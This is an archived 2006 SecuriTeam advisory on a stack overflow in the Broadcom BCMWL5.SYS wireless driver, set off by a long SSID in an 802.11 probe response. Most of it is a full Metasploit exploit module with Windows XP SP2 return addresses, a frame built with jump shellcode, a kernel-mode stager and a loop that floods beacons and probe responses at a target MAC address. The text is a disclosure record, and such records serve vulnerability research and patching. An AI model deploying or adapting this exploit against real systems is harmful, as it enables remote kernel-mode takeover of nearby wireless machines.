

[EXPL] Broadcom Wireless Driver Probe Response SSID Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-11/msg00028.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 15 Nov 2006 18:59:11 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Broadcom Wireless Driver Probe Response SSID Overflow

SUMMARY

The Broadcom BCMWL5.SYS wireless device driver is vulnerable to a stack-based buffer overflow that can lead to arbitrary kernel-mode code execution.

DETAILS

Description:

The Broadcom BCMWL5.SYS wireless device driver is vulnerable to a stack-based buffer overflow that can lead to arbitrary kernel-mode code execution. This particular vulnerability is caused by improper handling of 802.11 probe responses containing a long SSID field. The BCMWL5.SYS driver is bundled with new PCs from HP, Dell, Gateway, eMachines, and other computer manufacturers. Broadcom has released a fixed driver to their partners, which are in turn providing updates for the affected products. Linksys, Zonet, and other wireless card manufactures also provide devices that ship with this driver.

Debugging information:

All tests were performed with version 3.50.21.10 of the BCMWL5.SYS driver.

[EXPL] Broadcom Wireless Driver Probe Response SSID Overflow

Although this driver is for the Windows operating system, Linux and FreeBSD users of the ndiswrapper tool should determine if they are using BCMWL5.SYS and upgrade accordingly.

Exploit: (Metasploit)
require 'msf/core'

module Msf

class Exploits::Windows::Driver::Broadcom_WiFi_SSID < Msf::Exploit::Remote

include Exploit::Lorcon
include Exploit::KernelMode

```
def initialize(info = {})
  super(update_info(info,
    'Name' => 'Broadcom Wireless Driver Probe Response SSID
    Overflow',
    'Description' => %q{
    This module exploits a stack overflow in the Broadcom Wireless driver
    that allows remote code execution in kernel mode by sending a 802.11
    probe
    response that contains a long SSID. The target MAC address must
    be provided to use this exploit. The two cards tested fell into the
    00:14:a5:06:XX:XX and 00:14:a4:2a:XX:XX ranges.
```

This module depends on the Lorcon library and only works on the Linux platform with a supported wireless card. Please see the Ruby Lorcon documentation (external/ruby-lorcon/README) for more information.

```
},
'Authors' =>
[
'Chris Eagle', # initial discovery
'Johnny Cache <johnnycsh [at] 802.11mercenary.com>', # the man with
the plan
'skape', # windows kernel ninjitsu and debugging
'hdm' # porting the C version to ruby
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 3583 $',
'References' =>
[
['URL', 'http://projects.info-pull.com/mokb/MOKB-11-11-2006.html'],
],
'Privileged' => true,

'DefaultOptions' =>
{
```

[EXPL] Broadcom Wireless Driver Probe Response SSID Overflow

```
'EXITFUNC' => 'thread',
},

'Payload' =>
{
'Space' => 500
},
'Platform' => 'win',
'Targets' =>
[
# 5.1.2600.2622 (xpsp_sp2_gdr.050301-1519)
[ 'Windows XP SP2 (5.1.2600.2122), bcmwl5.sys 3.50.21.10',
{
'Ret' => 0x8066662c, # jmp edi
'Platform' => 'win',
'Payload' =>
{
'ExtendedOptions' =>
{
'Stager' => 'sud_syscall_hook',
'PrependUser' => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
'Recovery' => 'idlethread_restart',
'KiIdleLoopAddress' => 0x804dbb27,
}
}
}
],

# 5.1.2600.2180 (xpsp_sp2_rtm_040803-2158)
[ 'Windows XP SP2 (5.1.2600.2180), bcmwl5.sys 3.50.21.10',
{
'Ret' => 0x804f16eb, # jmp edi
'Platform' => 'win',
'Payload' =>
{
'ExtendedOptions' =>
{
'Stager' => 'sud_syscall_hook',
'PrependUser' => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
'Recovery' => 'idlethread_restart',
'KiIdleLoopAddress' => 0x804dc0c7,
}
}
}
],

'DefaultTarget' => 0
))
```

[EXPL] Broadcom Wireless Driver Probe Response SSID Overflow

```
register_options(  
  [  
    OptString.new('ADDR_DST', [ true, "The MAC address of the target  
system", 'FF:FF:FF:FF:FF:FF']),  
    OptInt.new('RUNTIME', [ true, "The number of seconds to run the  
attack", 60])  
  ], self.class)  
end  
  
def exploit  
  open_wifi  
  
  stime = Time.now.to_i  
  
  print_status("Sending beacons and responses for #{datastore['RUNTIME']}  
seconds...")  
  
  while (stime + datastore['RUNTIME'].to_i > Time.now.to_i)  
  
    select(nil, nil, nil, 0.02)  
    wifi.write(create_response)  
  
    select(nil, nil, nil, 0.01)  
    wifi.write(create_beacon)  
  
    break if session_created?  
  
  end  
  
  print_status("Finished sending frames...")  
end  
  
def create_beacon  
  src = eton('90:e9:75:00:00:00') #relative jmp + 0x75 = stage2 HaHa.  
  Tuned for ssid len = 93  
  dst = eton('FF:FF:FF:FF:FF:FF')  
  seq = [Time.now.to_i % 4096].pack('n')  
  
  blob = create_frame  
  blob[0,1] = 0x80.chr  
  blob[4,6] = dst  
  blob[10,6] = src  
  blob[16,6] = src  
  blob[22,2] = seq  
  
  blob  
end  
  
def create_response  
  src = eton('90:e9:75:00:00:00') #relative jmp + 0x75 = stage2 HaHa.  
  Tuned for ssid len = 93
```

[EXPL] Broadcom Wireless Driver Probe Response SSID Overflow

```
dst = eton(datastore['ADDR_DST'])
seq = [Time.now.to_i % 256].pack('n')

blob = create_frame
blob[0,1] = 0x50.chr
blob[4,6] = dst
blob[10,6] = src
blob[16,6] = src # bssid field, good idea to set to src.
blob[22,2] = seq

blob
end

def create_frame
  "\x80" + # type/subtype
  "\x00" + # flags
  "\x00\x00" + # duration
  "\xff\xff\xff\xff\xff\xff" + # dst
  "\x58\x58\x58\x58\x58\x58" + # src
  "\x58\x58\x58\x58\x58\x58" + # bssid
  "\x70\xed" + # sequence number

  #
  # fixed parameters
  #

  # timestamp value
  Rex::Text.rand_text_alphanumeric(8) +
  "\x64\x00" + # beacon interval
  "\x11\x04" + # capability flags

  #
  # tagged parameters
  #

  # ssid tag
  "\x00" + # tag: SSID parameter set
  "\x5d" + # len: length is 93 bytes

  # jump into the payload
  "\x89\xf9" + # mov edi, ecx
  "\x81\xc1\x7b\x00\x00\x00" + # add ecx, 0x7b
  "\xff\xe1" + # jmp ecx

  # padding
  Rex::Text.rand_text_alphanumeric(79) +

  # return address
  [target.ret].pack('V') +

  # vendor specific tag
```

[EXPL] Broadcom Wireless Driver Probe Response SSID Overflow

```
"\xdd" + # wpa
"\xff" + # big as we can make it

# the kernel-mode stager
payload.encoded
end

end
end
```

ADDITIONAL INFORMATION

For the original advisory visit:
<<http://projects.info-pull.com/mokb/MOKB-11-11-2006.html>> MoKB.
<[mailto:johnnycsh \[at\] 802.11mercenary.net](mailto:johnnycsh@802.11mercenary.net)> Johnny Cache – found vulnerability, reported to Broadcom.
<[mailto:lmh\[at\]info-pull.com](mailto:lmh@info-pull.com)> LMH – MoKB release.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.